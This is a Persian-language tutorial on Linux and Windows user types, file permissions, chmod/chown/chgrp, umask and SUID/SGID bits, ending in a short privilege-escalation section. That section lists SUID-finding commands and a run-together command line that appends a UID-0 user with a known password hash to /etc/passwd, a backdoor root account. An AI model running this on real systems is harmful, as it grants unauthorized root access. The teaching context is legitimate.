برای مشاهده اموزش تصویری :
انواع یوزرها
یوزر معمولی یوزر Root
برای مدیریت راحت تر در ویندوز و لینوکس گروه داریم یوزرهای بخش های مختلف سازمان در گروه های مختلف تقسیم می شوند تا بتوانیم مدیریت روی دسترسی یوزرها یا حق اختیار به آن ها داشته باشیم
Permission vs right
ما به یوزر اجازه میدیم یک فایل بخواند و در ان بنویسید به این میگن permission
ما به یوزر اجازه می دهیم که سرور ویندوز یا لینوکس خاموش روشن کند یا بک اپ بگیرد.
خوب گفتیم permission یعنی دسترسی بدیم انواع دسترسی هایی که وجود دارد
خواندن Read – R
نوشتن Write – W
اجرا کردن Execute – X
در ویندوز هم ntfs permission وجود دارد پس در تمامی سیستم عامل ها این ویژگی کنترل دسترسی وجود دارد.
یک فایل در سیستم عامل می تواند ownership داشته باشد اصطلاحا می گیم صاحب فایل وقتی تفیض اختیار می کنیم و ownership می دیم به یک یوزر خاص می تواند با آن فایل هر کاری بکند از نظر امنیتی باید دقت به این موضوع داشته باشیم
Owner در ویندوز لینوکس وجود دارد
در لینوکس برای این کار باید
Chown soheil /tmp/soheil
به این شکل به یوزر soheil فایل در مسیر /tmp/soheilرا owner کردم.
می توانیم در لینوکس یا ویندوز نیز یک گروه را صاحب یک فایل کنیم مثلا یوزرهای گروه IT دسترسی به لاگ فایل داشته باشند یا مستندات
Chgrp IT /var/log/confidential
شما هر چند وقت یکبار باید در ویندوز و لینوکس از نظر امنیتی دسترسی را چک کنید یا اگر بحث نفوذ باشد اولین اقدامی که بعد از ورود به سرور می کنیم چک کردن دسترسی فایل فولدرها یا سطح دسترسی یوزری که هستیم می باشد.
ls -lsah /usr/share/nmap
با استفاده از دستور فایل در مسیر فولدر مستندات و کانفیگ nmap ما می توانیم ببینم چند فایل یا فولدر داریم فایل – و فولدر با R نمایش داده می شود .
همچنین دسترسی ها را برای owner, Group, User را می توانیم به ترتیب ببینیم
صاحب فایل یا فولدر، سایز اخرین باری که ادیت شده و در اخر اسم فایل یا فولدر
دسترسی ها در لینوکس به صورت دسیمال
000 0 —
001 1 –x
010 2 -w-
011 3 -wx
100 4 r–
101 5 r-x
110 6 rw-
111 7 rwx
در لینوکس می توانیم برای User Group Owner با استفاده از کامند chmod تغییر پرمیشن بدهیم مثلا
Chmod g+x /usr/share/a/b
یعنی به گروه اجازه اجرا بده
ما می توانیم با decimal دسترسی بدیم به فایل یا فولدر
Chmod 766 /usr/share/a/b
چطوری دسترسی بدم
انواع دسترسی ها
R read
W write
X execute
Chown soheil a
Chgrp folder
UGO چیست چطوری پرم میدیم
User Group Owner
Chmod o+w /etc/passwd
Chmod o-w /etc/passwd
Default permission in linux
For files 666
For directory 777
But for security reason each user has unmask permission or we say umask which is 022 so
If I
Touch test => 644
Mkdir test => 755
چندین پرمیشن خاص در لینوکس داریم برای کابردهای خاص
SUID که بتونیم بدون دسترسی روت یکسری برنامه ها رو اجرا کنیم مثلا پسورد عوض کنیم
4644
SUID
find / -user root -perm 4644
find / -perm -u=s -type f
SGID فقط کافی یوزرها رو عضو یک گروه کنیم تا همگی بتونن یک برنامه خاص اجرا کنند .
2644
SGID
find / -user root -perm 2644
Privilege Escalation on Linux
پروسه بالا بردن سطح دسترسی یکی از مراحل نفوذ بالا بردن سطح دسترسی یا از طریق آسیب پذیری یا اشتباه در کانفیگ می باشد.
آسیب پذیری در کرنل لینوکس
آسیب پذیری در برنامه های پیش فرض یا برنامه های نصب شده
openssl passwd -6 -salt xyz 123cp /etc/passwd /tmp/passwdecho “lpe:$6$xyz$rjarwc/BNZWcH6B31aAXWo1942.i7rCX5AT/oxALL5gCznYVGKh6nycQVZiHDVbnbu0BsQyPfBgqYveKcCgOE0:0:0:lpe,,,:/home/lpe:/bin/bash” >> /tmp/passwdmv /tmp/passwd /etc/passwd